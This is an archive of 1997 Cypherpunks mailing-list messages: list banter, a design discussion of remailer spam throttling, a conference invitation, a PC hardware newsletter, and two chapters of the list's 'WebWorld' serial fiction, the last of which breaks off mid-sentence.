Message-ID: <Pine.A41.3.95.970330113902.55744D-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 30 Mar 1997, Huge Cajones Remailer wrote:
> does have many connections to hackers and phreaks in the Edmonton,
> Alberta area.

It was on the first of April that hackers and phreaks from the Edmonton
area set out to destroy the eunuch Vulis the evil satan.
So your computer writes a good story.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Sun, 30 Mar 1997 13:06:12 -0800 (PST)
To: Lucky Green <cypherpunks@toad.com
Subject: Re: Microsoft ammunition
In-Reply-To: <3.0.32.19970329195447.0068b5c8@netcom9.netcom.com>
Message-ID: <v03007803af6485b0140a@[207.94.249.143]>
MIME-Version: 1.0
Content-Type: text/plain


At 7:58 PM -0800 3/29/97, Lucky Green wrote:
>At 12:49 PM 3/28/97 -0800, Bill Frantz wrote:
>Time for my usual plug: if you are unfamiliar with capabilities based
>operating systems or don't know why they are the only currently available
>solution to a whole host of computer security problems, do a search for
>"KeyKOS". It should get you started.

Lucky - Thanks for your kind words.  And for my usual plug:  Those
interested in KeyKOS ideas in a system which runs on "PC Compatible"
hardware should look at Jonathan Shapiro's EROS system being developed at
the University of Pennsylvania.


-------------------------------------------------------------------------
Bill Frantz       | Back from caving in Borneo.| Periwinkle -- Consulting
(408)356-8506     | Great caves.  We mapped    | 16345 Englewood Ave.
frantz@netcom.com | 25KM on the expedition.    | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 30 Mar 1997 11:36:06 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: PSYOPS/infowar
In-Reply-To: <199703301835.KAA13744@mail.pacifier.com>
Message-ID: <333EBF12.36B6@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


jim bell wrote:
> 
> At 10:47 PM 3/29/97 -0500, Robert Hettinga wrote:
> >This is surely going to piss some people off, but let's some fun with this,
> >shall we?
> >
> >At 9:30 pm -0500 on 3/29/97, Greg Broiles wrote:
> >
> >> According to Ronald Duchin, graduate of the US Army War College and
> >> former special assistant to the Secy of Defense and director of the
> >> Veterans of Foreign Wars, activists fall into one of four categories:
> >> radicals, opportunists, idealists, and realists. He recommends a
> >> three-step strategy to neutralize activists:
> >>
> >> 1.   isolate the radicals
> >
> >Tim May
> >Kelly Goen
> >Phil Zimmermann (then)
> >Belize, say
> 
> I'm PISSED!  Ya forgot me!!!  B^)
> 
> Jim Bell
> jimbell@pacifier.com

Jim,
  I think you come under the special classification--'free' radical.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 30 Mar 1997 14:15:45 -0800 (PST)
To: fc97@offshore.com.ai
Subject: Re: Money Laundering Conference
In-Reply-To: <v03020902af6397b9c3d8@[139.167.130.246]>
Message-ID: <v0302091daf647bdd6497@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


At 12:13 pm -0500 on 3/30/97, Black Unicorn forwarded to DCSB:


> This is a formal invitation to you to attend the upcoming 8th
> International Oceana Conference on Money Laundering, The Caribbean & Latin
> America, Cybercrime, Financial Crytography and International
                       ^^^^^^^^^^^^^^^^^^^^^
                      Wonder where they got *that* from? :-)

> Financial Crimes on May 6-7, 1997 at the Sonesta Beach Resort and Casino
> Curacao, Curacao, Netherlands Antilles. This conference sponsored by
> Oceana Publications, Inc. in cooperation with the
> Association of International Bankers of the Netherlands Antilles (IBNA),
> The Association of the Compliance Officers of the Netherlands Antilles
> (CONA), and the Centre for International Financial Crimes
> Studies, College of Law, University of Florida will provide global and
> regional coverage of Money Laundering and International Financial Crimes.
>
>
> (See, http://www.oceanalaw.com/seminar/ml2toc.htm)


Hey!!! There's an *echo* in this room. What's the propagation delay here?
Say, what, 3 months? Sheesh.

Don't ever look behind you. They might be gaining...

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 30 Mar 1997 08:56:07 -0800 (PST)
To: dlv@bwalk.dm.com
Subject: Re: remailer spam throttle
In-Reply-To: <88Lc5D5w165w@bwalk.dm.com>
Message-ID: <199703301545.QAA03183@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Dimitri Vulis <dlv@bwalk.dm.com> writes:
> Adam Back <aba@dcs.ex.ac.uk> writes:
> > [remailer encrypts data, sends recipient encrypted data, and keeps
> > the key the recipient requests decryption if he wishes]
> >
> > I think this solves remailer resource objections.
> 
> yes, this sort of solves the storage problem.
> 
> Thinking how this might work...
> 
> Alice's remailer gets an e-mail for Bob.
> 
> Alice's remailer generates 2 pseudo-random numbers, K and L, and uses
> K to encrypt the message with a symmetric cryptoscheme.
> 
> Alice's remailer sends the encrypted message and L to Bob with the
> following note: if you want to receive the key to decrypt this
> message, send back L and acknowledge the disclaimer.
> 
> Alice's remailer retains the triple (K,L,Bob). Because it's small,
> it can be kept for a long time.

I think you don't need to keep Bob .. just lookup K with L.  Less
email addresses is a good thing.

The counter argument I suppose is that the Feds, or anyone else who
reads Bobs email can then ask for the key.  But if they can read his
email, they can already read it once he requests the key.  It would
allow an eavesdropper to do a DoS attack against Bob, request all his
emails before he can.

> If Bob sends back L, the remailer sends Bob K so he can read his message.
> 
> I see a few problems with this. I'm sure it can be improved.
> 
> 1. What if Bob is another remailer, unknown to Alice?

Why is this a problem?  You have accept lists for remailers between
themselves.  A private remailer (one not advertising itself on these
lists) just mimics Alice in retreiving the email ... waits a while
then requests the key.

> 2. What if Bob doesn't have the program to decode his message? (It's
> fair to assume that everyone can fine PGP. It's not fair to assume that
> everyone can find e.g. triple DES.)

You can provide a web interface to do it for him.

Or, you can offer the option that if he includes the encrypted message
in his request you will decrypt it for him, by return of email.

> 3. What if the LEA's decide that the collection of triples on Alice's
> computer is worth looking at, for instance, for the list of addresses.
> (OK, they could be encrypted probably.)

Don't keep the addresses as above -- treat the nonce L as the
identitiy.

> 4. What if the LEA's decide to find out how K, L are generated?

Random pool like PGP, it's one way and the pool has more bits than the
key material the Feds have anyway.  /dev/urandom is nice.  

> When Alice's remailer gets an e-mail for Bob, it should do
> something like:
> 
> 
>           try to fetch Bob's public key
>           from a well-run key server
>             /                    \
>          success               failure
>            |                      |
>       encrypt the e-mail      discard the
>       with bob's key and      e-mail!
>       pass it to Bob              |
>                               was the form
>                               letter sent to
>                               Bob in the last
>                               7 days?    \
>                              /            no
>                            yes              \
>                           /                exit
>                     send bob the
>                     form letter
> 
> 
> Wow, isn't that a perry flow chart. :-)

Yes.  A good solution also.  Perhaps we can write a nice remailer
which has a web forms interface for configuration, lots of radio
buttons etc to allow the proud new remailer in a box owner to
configure his remailer, and pretty stats graphs.

[o] discard / keep
if keep how long for [...]

etc.

Then let the remailer operator play with settings and see which works
out best for him.

> It may be hard to prove a negative to a LEO who doesn't know what
> the hell you're talking about. You have a file in your spool that
> was encrypted with a key that your program generated, but now you
> no longer have the key? Well, tell us how the key was generated.

I think you're arguing for your discard all policy :-)

btw if you're interested to fix the keyserver so that it requires an
ack to a ping with a nonce, someone at MIT has a fast PGP key database
/ web key server which isn't using PGPs linear lookup.  You can find a
link to it from Brian LaMachia's keyserver page.

Another snazzy thing to do to the keyserver would be to have it obtain
a timestamp signature on your key (from a third party time stamping
service, of which there are several) and include that too.

Adam

-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Sun, 30 Mar 1997 15:14:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: WebWorld 21
Message-ID: <333EF356.76ED@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: Bubba was sitting quietly, contemplating the meaning of the conversation that he had engaged in with Alexis the previous evening, while they were awaiting Priscilla's return from the 'initiation' of a new member of the mythical 'Circle of Eunuchs'








The True Story of the InterNet

Part II


WebWorld & the Mythical 'Circle of Eunuchs'


by Arnold


Copyright 1995, 1996, 1997 Pearl Publishing


All The Marbles

Bubba was sitting quietly, contemplating
the meaning of the conversation that he had engaged in with Alexis
the previous evening, while they were awaiting Priscilla's return
from the 'initiation' of a new member of the mythical 'Circle
of Eunuchs'.

Alexis, though fully aware of the sublime
connection that existed between herself and the Cowboy, still
had little idea of the full ramifications of many of the things
she instinctively 'knew' or 'felt' regarding their relationship
and the bond between them. There were 'levels of upon levels'
of meanings to everything surrounding this great battle that was
currently being enacted across the face of the earth-perhaps for
the last time-and it fell upon Bubba to extract every ounce of
meaning from every detail, to sort and sift every microcosmic
nuance of every single item of information that pertained to the
ongoing battle of wits taking place between the 'Magic Circle'
and the 'Dark Forces' that they opposed.

There were two details, in particular, that
were bothering him at this point in time.

The first was Alexis's statements of the
night before.

"I know that the Cowboy and I are perhaps
not meant to have a 'real' relationship, in this life,
anyway. I understand that, Bubba. I know that there's something
we're involved with that goes beyond the personal affairs of the
individual participants in a grander scheme of things.
"But I'm really mad that the one chance that he had
to acknowledge me, the one opportunity for him to acknowledge
us, he had to be such a...such a..."

"Such a man.", Bubba had
finished the thought for her.

"Yes!", Alexis had cried out,
satisfied that Bubba had helped her hit the nail exactly on the
head. "And I'm going to give him 'Holy Hell' about it, the
next time I see him.", she continued, resolutely.

Bubba, 'three sheets to the wind', at the
time, had noticed the discrepancy in her statements, and made
note to himself to resolve it later. And now was later.

Alexis instinctively 'knew' that she would not be seeing the Cowboy
again-ever-but she was blissfully 'unaware' of knowing it, just
the same. Ignorance is bliss, in many an instance, and
Bubba was grateful that the 'powers that be' were allowing her
this blissful ignorance, while bringing this fact to Bubba's attention,
regardless.
This did not bode well. Especially given the second fact that
was troubling Bubba. Priscilla had failed to return from her previous
night's rendezvous with a new member of the 'Circle'.

This did not bode well, at all.


Priscilla came in, after a bit, joined Bubba
at his table for a short drink, without the customary 'peck' on
his cheek, and left abruptly, with no meaningful conversation
having taken place. The 'explanation' for what changes were being
wrought in the grand scheme of things would obviously come from
another.

Bubba waited...and watched...and waited...



It was several hours before Alexis came
in, stopping to converse, and flirt, with a few of the other patrons
before joining "my favorite old geezer," as she loudly
proclaimed to one and all, at his table in the corner. She gave
Bubba a warm hug and leaned to kiss him fondly on the cheek, whispering
in his ear,

"How's my favorite Uncle, today?"


"Fine, my dear, just fine."

He gave her a fatherly kiss on the forehead,
in return, disturbed by her message, but somehow relieved that
the 'game' that had been played for centuries between the 'Circle'
and the 'Dark Forces' had finally moved onward, past the point
of no return.

The Cowboy had finally set in motion what
was likely to be the final match in a contest that had spanned
millennium-the battle between the forces of light and the forces
of darkness on the cosmic sphere known as Earth-the battle for
the souls of men.

And this battle, Bubba was certain, was
for 'all the marbles'-the souls of all mankind.

"God help us all.", Bubba thought,
inwardly, as Alexis sat and waited for a sign from him as to what
he needed of her, from this point on.
"Have you got time to sit and flirt with a lecherous old
geezer with evil intentions, my dear?"

Alexis gave Bubba an affectionate hug, and
ran a finger slowly and flirtatiously down his chest, to his navel.
She blew him a kiss and laughed like a little schoolgirl playing
with fire and enjoying the danger. She was glad Bubba needed her
to be with him a while, because there was a strange heaviness
reaching for her from afar, and she needed a point of stability
to lean on, to share that heaviness.

Bubba brought out a deck of cards, as he
did on very rare occasions, and they played silently, while Bubba
concentrated his thoughts on the developing situation, reading,
as best as possible, at the same time, the energy coming from
the affinity between Alexis and the Cowboy.
Alexis, after winning several hands of a game she had never played
before, a game she knew nothing about, but one which she suddenly,
instinctively, knew how to play, asked Bubba the name of the game.

"Pitch.", he replied.

"Pitch, with the 'Bitch'?", Alexis
asked, quizzically.

Bubba smiled, a genuine, joyous, earth-shaking
smile, and Alexis smiled with him.

"What are we playing for?", Alexis
asked, teasing Bubba with a cute, sexy look.

"We're playing for all the marbles.",
he replied, giving her a wink.

And somewhere, on the softness of the breeze
that wafted gently, inexplicably across the room, a voice from
far away whispered,
"We're 'Shooting the Moon', boys and girls. We're shooting
the moon."


As the cards rose and fell, game after game,
Bubba's mind was running a gauntlet that spanned both centuries
and lives-a passageway through time and space that was filled
to overflowing with the emptiness of the Tao. His soul traveled
a lonesome corridor of non-existence that charted the history
and the legend of the mythical 'Circle of Eunuchs', from its initial
inception, down through the ages, to the here now of the present,
where it was in the process of being unleashed in its full, unrestrained,
allegorical glory.

Bubba Rom Dos IV, lifelong friend and drinking
companion of the Cowboy, C.J. Parker IV, had finally learned what
five generations of his ancestors had died without discovering.


For four generations the tradition had been
passed down-a lifelong commitment to bearing witness, to all who
would listen and to all who would not, of the great battle of
the forces of light and darkness that was taking place under the
surface of the high-tech computer network spanning the globe.
An eternal dedication to continuing the tradition no matter what
the cost, whatever obstacles or hardships one met along the way.
The keeping of a sacred promise to bear witness to the true existence
of the Evil One and his Grand Design, and of Gomez and the Dark
Forces' pervasive influence throughout the Netherworld of high-technology.

Four generations of preaching of gloom and
doom, and admonishing one and all that mankind's one remaining
hope for survival lie in the hands of the magical 'Circle of Eunuchs',
who were dedicated to serving the forces of light in the Great
Battle for the souls of humanity, and the very Soul of Humanity,
itself.

Four generations of keeping the faith, maintaining
the tradition, despite never knowing, and never asking to know,
whether or not the 'Circle of Eunuchs' actually existed, or
not.


Four generations of Bubba Rom Dos, remaining
the close friend and eternal drinking-companion of C.J. Parker,
the 'founder' of the legendary organization, in all his incarnations,
without once inquiring, or expressing a desire to know, whether
there was any true substance to the myth.
Four generations of faith-pure, inviolate faith-that their friend
and drinking companion was upholding his tradition as loyally
and steadfastly as they were upholding their own.


Now, when the cards had been put into play
for the final game in the Great Battle, Bubba Rom Dos IV, had
learned, beyond shadow of a doubt, what only one other living
person knew-he knew that the legendary 'Circle of Eunuchs' did
not exist.

The 'Magic Circle'-the 'only hope' for humanity-had
never existed.


For the first time in four generations,
Bubba Rom Dos, sage and savant, derelict and philosopher, doubted
himself, doubted his lifelong friend-doubted four generations
of the total, unquestioning dedication and commitment of his lineage
and that of the Cowboy, the lineage of the Author.
He looked up at Alexis, pure, sweet, innocent Alexis. Only one
of a multitude who had committed themselves to a cause, at his
urging, that would lead to their certain destruction if Gomez
and the Dark Forces launched the final battle, unopposed. 


"I've got you cold, you besotted
old geezer," Alexis gloated, glancing at her hand in confirmation,
"but I'll tell you what I'll do."

Bubba looked up, startled. Those were the
words the Cowboy always used to 'rub it in' when, despite his
insane bidding practices and inane methodology of counting on
'Lady Luck' to make up for his total lack of common sense when
it came to playing even the best of hands, he finally, unequivocally,
held the cards needed to 'stomp your sorry ass into the dirt',
as he liked to so eloquently phrase it.

It was quite apparent, however, that his
long-standing tradition of slapping his cards face-down on the
table, saying, "Read 'em and weep, pal.", was about
to come to an end.

Bubba found himself staring blankly into
Alexis's best Cheshire cat 'grin', as she continued,
"I'm willing to fold my hand-the winning hand, I assure
you-and let you take the pot."

Bubba was perplexed. There was a 'knuckleball'
coming, he knew that much instinctively, and he had better be
prepared for it, that was quite simply good, common sense.
Bubba knew that this game represented the game which the Cowboy
had put in motion between himself and Gomez. He quickly replayed
the game, to this point, in his mind, as Alexis paused, poured
herself a shot of Jim Beam, just as the Cowboy would have done
when 'rubbing it in', as he was won't to do, 'to the max.'.

This game had been played, totally contrary
to the Cowboy's usual style, 'straight ahead', the only surprises
being that the Cowboy, through Alexis, had been blatantly 'slamming'
him mercilessly, with an onslaught of 'power' cards, as if the
world belonged to him, and him alone, through the blessed, divine
grace of Lady Luck, and he could not be denied. Out of character
for him, but very effectively establishing that he was challenging
Bubba, 'mano-a-mano', and giving every indication that the cards
he held allowed him the luxury of 'rubbing his opponent's face
in it' on the way to certain victory.

But now, would come the 'knuckleball."



"Or," Alexis added, with
a too-casual shrug of the shoulders, "we can double
the stakes, and play it out."

Your
choice, Uncle Bubba." 


Bubba's face flared bright red, out of habit.
God, how he hated it when the Cowboy did that.
 Then Bubba's face grew steely calm, and controlled. But inside,
he was smiling.

Bubba hated playing cards with the Cowboy,
but he did so for that very reason.
Bubba Rom Dos IV, like his ancestors before him, was, first and
foremost, a Taoist. Even the least developed of Zen masters can
tell you that it is no great deal to go off to a remote mountain-top
and be a good Taoist philosopher. To do so in the heart of the
city, however, is an entirely different matter.

Bubba, for all his carousing and manic babbling,
was, in fact, able to 'hang cool' in the wildest and most stressful
of situations. Even when he was "totally out of control,"
the Cowboy used to brag about him, "inside he's as 'loose
as a goose'." Nobody, anywhere, at any time, for any reason,
could 'get' to him to the extent of disturbing his calm, inner
Taoist demeanor.

Except for the Cowboy...when they were
playing cards. Thus it was incumbent upon Bubba to engage the
Cowboy in a game of cards at every opportunity, in order to give
his 'weakness' in this area a good workout, and strive to overcome
his deficiency in this area. Which, to a large part, he had succeeded
in doing.

The one instance in which the Cowboy could
still, almost without fail, "get Bubba's Taoist goat,"
as he liked to brag, was when he pulled the gambit known as 'Winner's
Bluff' out of his time-worn hat.

And this, Bubba well knew, thanks to Alexis'
message, was what he had done with Gomez-with a reference to 'Uncle
Bubba'.


Bubba looked at the cards he held, and once
again quickly reviewed the hands that had been played. The chances
were good, very good indeed, that Alexis held the cards needed
to 'finish the job' she had been doing on him, and to do so 'with
a flourish'.

But there was a chance-a slim chance, but
still a chance-that she was one card short.

Bubba watched Alexis sitting there, with
her enigmatic, Cheshire cat grin merged with the Cowboy's smart-alecky,
gloating smirk, and he suddenly exploded, in spite of himself,
like never before.

"You smart-ass little bitch!",
he screamed, "I'll stomp your sorry ass into the ground.
Play the goddamn cards!"

The patrons of the Broken Spoke Saloon,
visibly shaken by this momentous display of 'genuine' loss of
self-control on the part of the imperturbable sage, looked at
each other in total wonder, sensing that the decades of manic
babbling that he had been legendary for, had all been but a precursor
to the 'real thing', and that this was not a good omen.



Bubba sat back in his chair, waiting with
a vengeance, for his opponent to continue.

Alexis, having gotten Bubba to 'rise to
the bait', now slammed her last three cards to the table, in rapid
succession-the Queen, King, and Ace of Spades-the game-winning
cards, and Bubba threw his remaining cards, face down, on her
cards, disgustingly conceding defeat.

As he sat there fuming, Alexis said, in
a small, quiet voice,
"Now it's your play, Uncle Bubba."


Bubba sat and stared at Alexis, for a long,
long while, then he slowly picked up the top card from the three
that he had thrown on top of her 'winning' cards, and he turned
it over.

It was the 'Bitch'-the Queen of Spades.

He had gotten so 'caught up' in the illusion
she was creating, and the anger that it unleashed in him, that
he 'saw' what she had 'wanted' him to see, the Queen (of Clubs,
in reality), King, and Ace of Spades, falling from 'her' hand,
onto the table, even though he 'knew' that the Queen of Spades
had been in his own hand, all along.

But even when Alexis 'pointed out' to Bubba
that she had 'run a game' on him-playing with his mind-he still
had to 'turn the card over' and look at it, in order to truly
confirm, and comprehend, that he had been 'taken'. And in doing
so, he only 'added' to his defeat, and his humiliation.

Bubba was now fully aware of the game being
played out between the Cowboy and Gomez, and his doubts ceased-about
himself, about the Cowboy, and about four generations of the ancestors
in both of their lineages.
He knew that-by his own hand-Gomez was now in the process of creating
an organization that for four generations had been his chief opponent
only in legend-a mythological albatross around his neck which
had never existed, except allegorically.

After centuries of non-existence, the 'Circle
of Eunuchs'-humanity's last hope for salvation-was about to become
a reality.

Bubba raised his shot-glass, in toast, and
stated proudly and boldly, for all to hear,
"To the forthcoming marriage of my favorite niece, Alexis...and
Vice-Admiral Bubba D'Shauneaux's favorite nephew...the Cowboy."


Chapter 21 - All The Marbles









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: newsletter@shoppingplanet.com
Date: Tue, 1 Apr 1997 15:29:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: PC Shopping Planet - Tech Info-Letter
Message-ID: <04360572602808@shoppingplanet.com>
MIME-Version: 1.0
Content-Type: text/plain



                        TECH INFO-LETTER        
         A Subscription-Only PC Upgrade Update      


                         PC Shopping Planet 
                  http://www.shoppingplanet.com
                            March 25, 1997


<-Expand your screen to make a single line for best viewing->
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If you no longer want to receive the SP Newsletter, send this 
email or reply to this address:  unsubscribe@shoppingplanet.com
Your email address is: cypherpunks@toad.com
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In this week's issue:

1.   MMX Watch
2.   A River Runs Through "IT"
3.   Buy Me A River
4.   Hot Deals

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1.   MMX Watch

Intel Pentium MMX --->  Available Now!

AMD K6 MMX --->  April

Intel Pentium Pro MMX (Pentium II/Klamath) ---> May

Cyrix M2 180 & 200 MHz MMX --->  July

Please remember that supplies will be very tight immediately
after release.  If you have an application now, don't wait!
Purchase the chip you need today and upgrade to MMX later
(especially when prices come down).

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2.   A RIVER RUNS THROUGH "IT"

The Pentium Pro has been the processor of choice for networked
desktop computers running Windows NT.  But Intel is now about
to flood the Information Technology (IT) market with a river
of new processors.

Each of these chips provides a growth path for the Pentium Pro
and guarantees many years of technical improvement. However,
the Intel upgrade path requires - at a minumum - a Pentium Pro
motherboard or, preferably, a new "SEC" motherboard.

Interestingly, all the new chips have been given the same
names as rivers in Oregon: Klamath, Tillamook, Deschutes,
Katmai, Willamette and Merced.  Why has Intel done this?

The new chips are a joint design project involving Intel's
Hillsboro, Oregon facility, along with the Santa Clara, CA
headquarters. And the river that joins the Oregon/California
border is... the Klamath!

Since everything starts with the Pentium Pro, a quick note
about the existing microprocessor approach.  The current
Pentium Pro uses a dual-chip design that couples the CPU
(with its built-in L1 Cache) and the 256K secondary L2 cache
chip on a single die that plugs into a socket on the system
motherboard.  However, the new designs split the components
and places them on a single cartridge that plugs directly
into a motherboard.


KLAMATH
This is the Pentium Pro with MMX Technology, also known as
the "Pentium II".  This processor is the first of the P6
(too advanced to be called a 686) generation of CPUs.

The Klamath/Pentium II creates a major break with existing
chip and motherboard designs.  It incorporates all the basic
features of MMX: a larger Level 1 cache for fast data access,
plus the 57 new multimedia extensions.  Using a 0.35-micron
CMOS process, a larger die size is produced, but with lower
power consumption.  Accordingly, the motherboard voltage has
to be reduced.

Most importantly, the Klamath/Pentium Pro MMX design is quite
different than the previous Pentium Pro.  The separate CPU
(with built-in L1 Cache), and the L2 cache chip sits in a
metal and plastic encased card called a Single Edge Contact
(SEC) Cartridge.  The cartridge will plug into a slot on the
klamath-compatible motherboard.

Intel says future processor upgrades will become simpler
because of the separation of the components and ability to
configure individual CPU/L2 combinations into cartridges.

The Pentium MMX was only supposed to run at 166 MHz and 200
MHz.  But, in response to Cyrix's announcement of one of their
MMX compatible M2 chips running at 225 MHz, Intel decided to
make a faster 233 MHz Pentium MMX version.

However, the Pentium Pro MMX was supposed to run at the higher
233 MHz speed.  So Intel will release the Klamath/Pentium II
MMX at 233 MHz, 266 MHz and 300 MHz.

Intel will release a Klamath motherboard at the same time as
the chip.  And many of the independent motherboard makers are
working on Klamath-compatible designs that will be released
the same time as Intel's board.

Because of design changes, current Pentium Pro motherboards
will not be able to accept the new cartridges directly.
However, it is expected that Intel -and others- will release
a connector that will allow the SEC cards to fit on existing
Pentium-Pro motherboards.   


TILLAMOOK
This is the notebook version of the Pentium Pro MMX scheduled
for the Fall of this year.  The cartridge design will require
an overhaul of all portable motherboards, so this is Intel's
opportunity to attempt to corner the notebook motherboard
market.  The Intel motherboard "module" will consist of the
board, the MMX procesor, high-speed cache memory, a power
supply, and circuitry for controlling the PCI bus and memory.
In effect, with a prebuilt module, Intel will provide almost
everything necessary for computer manufacturers to produce
high-end notebooks.


DESCHUTES
To be introduced by the end of 1997 or early 1998, this is the
"shrink" notebook version of the Pentium Pro MMX.  The chip
will be manufactured with a new 0.25-micron process (about one
four-hundredth of a human hair) so that the chip will run 
faster (higher clock rates of 300 MHz to 333 MHz) but at a
lower voltage resulting in less heat.  Deschutes, will be
Intel's first chip to support a 100MHz CPU bus and 1MB cache.
That would be a measurable improvement over bus speeds on
current processors that peak at 66MHz. 


KATAMI
Multi-Media Extensions have just been introduced, but Intel
is already planning an enhanced instruction set and better
support for 3D graphics in this Spring 1998 version of the
Pentium Pro MMX.  Using the 0.25-micron process, Intel has
demonstrated a chip running at 451 megahertz.  The desktop
cartridge will also have a larger cache.


WILLAMETTE
A further improvement scheduled for late 1998, this Pentium
Pro MMX cartridge will offer more execution units and run on
a faster 100 MHz bus.  It will have a larger die size, but
will offer up to a 50% performance boost over Klamath.


MERCED
Developed in conjunction with Hewlett-Packard, this cartridge
won't be released until 1999.  It will be the first P7-family
microprocessor with 64-bit architecture.


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3.   BUY ME A RIVER

The Klamath is actually available now.  But the chip has to be
placed in a Single Edge Contact (SEC) Cartridge. The cartridge
then plugs into a special slot on the motherboard.

Does your motherboard have a SEC slot?  If not, you may have
to buy a new motherboard to follow Intel's growth path.

However, do you have a Pentium Pro motherboard?  Intel says
that they are planning to release a special connector that
will permit the SEC to fit existing Pentium Pro motherboards.

Our suggestion...
Take a look at our Pentium Pro motherboards that provide an
excellent platform for future upgrades.  Then, when the SEC
connector is released, you'll be able to move on to the Intel
Klamath/Pentium II.

We strongly recommend the M Technology R622 motherboard. It 
has the Intel Natoma chipset, and it is a AT Form Facator.
Check it out at:

http://www.shoppingplanet.com/Compu/Moth/48134.htm


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If you want to subscribe a friend to the Upgrade Update,
send an email to subscribe@shoppingplanet.com  with the
subject line containing the new email address.  Or, simply
visit our site and enter the email address on our home page.

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4.   HOT DEALS!
     
     These are today's prices.  As we immediately pass any
     price reductions on to our customers, please check our
     web site for the latest prices (in US dollars).


NEW PRODUCTS

- DIAMOND Supra Video Phone kit 3000_____________$ 303.00
  A complete Plug and Play Kit that provides videoconferenceing
  over regular phone lines. Video Camera, built-in micro,
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                  Or give us a call at 1-800-779-8461


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If you no longer want to receive the SP Newsletter, simply 
reply to this address:  unsubscribe@shoppingplanet.com
with the subject "unsubscribe".
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Sun, 30 Mar 1997 18:08:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: WebWorld 22
Message-ID: <333F1CC9.7BBB@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the InterNet







The True Story of the InterNet

Part II


WebWorld & the Mythical 'Circle of Eunuchs'


by Arnold


Copyright 1995, 1996, 1997 Pearl Publishing


Welcome To The InterNet


The Dark Allies were gathered around the podium,
waiting for Gomez to speak. They had never seen him shine in such
resplendent glory. They knew that the Time was close at hand.

Gomez barked out his orders in the voice that was
inflamed with the power of a great beast who was sure of his kill.
"Act quickly and unfailingly, for our Glory draws nigh and
this carnal kingdom will soon be ours to command."

Gomez dismissed his fawning sycophants and they scurried
out of the Great Hall to do his bidding. Now he would rest, and
reflect on the trail of antiquity that had led him to this moment
in time, making sure that he had overlooked nothing that could
stand in his way.

His plan to investigate the Cowboy's alleged relationship
to D'Shauneaux was simple and it proceeded directly to the heart
of the issue. 
Gomez had top-secret memos, concerning the Cowboy's location and
precarious position, disseminated throughout the InterNet to the
highest levels of the command structure, with strict orders to
conceal the messages under nothing but the tightest level of security.

If the Circle of Eunuchs truly existed, only they could possibly
have the capability of breaching the defenses in place at that
level.

None of the mortals who served as Gomez's minions
were to be involved in this operation. It was to be carried out
entirely by the Dark Allies in order to assure that any 'leak'
that surfaced would unquestionably have come from deep within
the bowels of the InterNet.

The Cowboy was being watched night and day. Any attempt
to make contact with him, in even the faintest, most trivial way,
would be noticed and reported immediately.

This was an area that Gomez congratulated himself
on profusely. Nuthouse Number Nine, Looney Level 'Leven, was one
of his consummate feats of genius.
Schultz was the best of the best. 

The governments of the BC era spent billions on espionage
and internal security, building investigative organizations composed
of superior agents with intensive, specialized training and the
finest technology available at their fingertips. When they ran
up against a situation that was beyond them, it was Schultz who
got the call.
Schultz had, since day one, personally hand-picked and trained
the 'inmates' of Number Nine. Jesus #1 had been in place for over
thirty years; he considered Number Nine his 'home'. Jesus #2 was
the rookie of the bunch, having only been there for fifteen years.
Neither one of them had ever left the building since the first
time they walked through the door. 
The rest of the inmates were retired from other security forces
and found Number Nine an excellent place to spend their remaining
years. Under the cover of the Money Channel it was perfectly natural
for Number Nine to provide amenities for the 'inmates' that were
superior to those received by even the governing elite of some
of the other Channels. 

Keeping the personnel at Number Nine alert and motivated
would not be a problem. They had more than enough reason to be
excited about the opportunity to utilize their expertise in surveillance
of the Cowboy. After more than forty years in existence, with
the most highly qualified and experienced security personnel ever
to be gathered under a single roof, Nuthouse Number Nine finally
had its first authentic inmate.

Gomez howled with glee, in recognition of his own
brilliance.

Gomez laid his plans a millennium in advance. He
had made allowances for all the possibilities-and then he made
allowances for the impossible. He subjected every incident, every
situation-every apparently random occurrence in his domain-to
a rigorous scrutiny unequaled by any of those among the Dark Council
who arrogantly considered themselves to be his peers.
He went over all his stratagem before, during, and after their
implementation and completion. He looked at every one of his plans
forwards, backwards and upside-down, in concept and in detail,
and he missed nothing...nothing!

That's why He was the favored son of the Evil
One. That's why He was chosen to be the instrument by which
the Great Plan would be put into effect when the Time had come.
That's why He was charged with the duty and honor of preparing
the blueprint for the Final Battle.

The envious malcontents in the Council of Darkness-those
devious schemers who dared to oppose him and were so presumptuous
as to reprove him at every opportunity-they would crawl before
him when he delivered this celestial orb into the hands of the
Evil one.
Everything was in readiness, waiting only for the eternally nagging
